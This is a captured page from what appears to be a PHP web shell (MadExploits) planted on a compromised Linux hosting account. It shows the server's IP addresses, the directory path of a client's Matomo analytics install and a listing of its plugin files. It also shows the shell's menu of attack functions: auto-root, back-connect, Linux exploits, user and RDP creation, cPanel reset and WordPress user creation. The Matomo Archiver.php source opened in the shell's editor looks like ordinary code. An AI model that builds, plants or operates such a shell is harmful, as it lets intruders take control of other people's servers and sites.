Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.136.23.20
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
Plugin /
[ HOME SHELL ]
Name
Size
Permission
Action
Dimension
[ DIR ]
drwxr-xr-x
API.php
4.12
KB
-rw-r--r--
AggregatedMetric.php
612
B
-rw-r--r--
ArchivedMetric.php
5.58
KB
-rw-r--r--
Archiver.php
5.64
KB
-rw-r--r--
Categories.php
1.99
KB
-rw-r--r--
ComponentFactory.php
4.94
KB
-rw-r--r--
ComputedMetric.php
8.45
KB
-rw-r--r--
ConsoleCommand.php
1.43
KB
-rw-r--r--
Controller.php
41.92
KB
-rw-r--r--
ControllerAdmin.php
16.01
KB
-rw-r--r--
Dependency.php
5.98
KB
-rw-r--r--
LogTablesProvider.php
3.11
KB
-rw-r--r--
Manager.php
52.91
KB
-rw-r--r--
Menu.php
11.54
KB
-rw-r--r--
MetadataLoader.php
3.73
KB
-rw-r--r--
Metric.php
6.41
KB
-rw-r--r--
PluginException.php
1.11
KB
-rw-r--r--
ProcessedMetric.php
2.27
KB
-rw-r--r--
ReleaseChannels.php
2.55
KB
-rw-r--r--
Report.php
35.26
KB
-rw-r--r--
ReportsProvider.php
9.3
KB
-rw-r--r--
RequestProcessors.php
630
B
-rw-r--r--
Segment.php
12.75
KB
-rw-r--r--
SettingsProvider.php
7.15
KB
-rw-r--r--
Tasks.php
5.37
KB
-rw-r--r--
ThemeStyles.php
5.82
KB
-rw-r--r--
ViewDataTable.php
21.71
KB
-rw-r--r--
Visualization.php
33.17
KB
-rw-r--r--
WidgetsProvider.php
4.53
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Archiver.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik\Plugin; use Piwik\ArchiveProcessor; use Piwik\Config as PiwikConfig; use Piwik\ErrorHandler; /** * The base class that should be extended by plugins that compute their own * analytics data. * * Descendants should implement the {@link aggregateDayReport()} and {@link aggregateMultipleReports()} * methods. * * Both of these methods should persist analytics data using the {@link \Piwik\ArchiveProcessor} * instance returned by {@link getProcessor()}. The {@link aggregateDayReport()} method should * compute analytics data using the {@link \Piwik\DataAccess\LogAggregator} instance * returned by {@link getLogAggregator()}. * * ### Examples * * **Extending Archiver** * * class MyArchiver extends Archiver * { * public function aggregateDayReport() * { * $logAggregator = $this->getLogAggregator(); * * $data = $logAggregator->queryVisitsByDimension(...); * * $dataTable = new DataTable(); * $dataTable->addRowsFromSimpleArray($data); * * $archiveProcessor = $this->getProcessor(); * $archiveProcessor->insertBlobRecords('MyPlugin_myReport', $dataTable->getSerialized(500)); * } * * public function aggregateMultipleReports() * { * $archiveProcessor = $this->getProcessor(); * $archiveProcessor->aggregateDataTableRecords('MyPlugin_myReport', 500); * } * } * * @api */ abstract class Archiver { /** * @var \Piwik\ArchiveProcessor */ private $processor; /** * @var bool */ private $enabled; /** * @var mixed */ protected $maximumRows; /** * Constructor. * * @param ArchiveProcessor $processor The ArchiveProcessor instance to use when persisting archive * data. */ public function __construct(ArchiveProcessor $processor) { $this->maximumRows = PiwikConfig::getInstance()->General['datatable_archiving_maximum_rows_standard']; $this->processor = $processor; $this->enabled = true; } /** * @ignore */ final public function callAggregateDayReport() { try { ErrorHandler::pushFatalErrorBreadcrumb(static::class); $this->aggregateDayReport(); } finally { ErrorHandler::popFatalErrorBreadcrumb(); } } /** * @ignore */ final public function callAggregateMultipleReports() { try { ErrorHandler::pushFatalErrorBreadcrumb(static::class); $this->aggregateMultipleReports(); } finally { ErrorHandler::popFatalErrorBreadcrumb(); } } /** * Archives data for a day period. * * Implementations of this method should do more computation intensive activities such * as aggregating data across log tables. Since this method only deals w/ data logged for a day, * aggregating individual log table rows isn't a problem. Doing this for any larger period, * however, would cause performance degradation. * * Aggregate log table rows using a {@link Piwik\DataAccess\LogAggregator} instance. Get a * {@link Piwik\DataAccess\LogAggregator} instance using the {@link getLogAggregator()} method. */ abstract public function aggregateDayReport(); /** * Archives data for a non-day period. * * Implementations of this method should only aggregate existing reports of subperiods of the * current period. For example, it is more efficient to aggregate reports for each day of a * week than to aggregate each log entry of the week. * * Use {@link Piwik\ArchiveProcessor::aggregateNumericMetrics()} and {@link Piwik\ArchiveProcessor::aggregateDataTableRecords()} * to aggregate archived reports. Get the {@link Piwik\ArchiveProcessor} instance using the {@link getProcessor()} * method. */ abstract public function aggregateMultipleReports(); /** * Returns a {@link Piwik\ArchiveProcessor} instance that can be used to insert archive data for * the period, segment and site we are archiving data for. * * @return \Piwik\ArchiveProcessor * @api */ protected function getProcessor() { return $this->processor; } /** * Returns a {@link Piwik\DataAccess\LogAggregator} instance that can be used to aggregate log table rows * for this period, segment and site. * * @return \Piwik\DataAccess\LogAggregator * @api */ protected function getLogAggregator() { return $this->getProcessor()->getLogAggregator(); } public function disable() { $this->enabled = false; } /** * Whether this Archiver should be used or not. * * @return bool */ public function isEnabled() { return $this->enabled; } /** * By overwriting this method and returning true, a plugin archiver can force the archiving to run even when there * was no visit for the website/date/period/segment combination * (by default, archivers are skipped when there is no visit). * * @return bool */ public static function shouldRunEvenWhenNoVisits() { return false; } protected function isRequestedReport(string $reportName) { $requestedReport = $this->getProcessor()->getParams()->getArchiveOnlyReport(); return empty($requestedReport) || $requestedReport == $reportName; } }
Close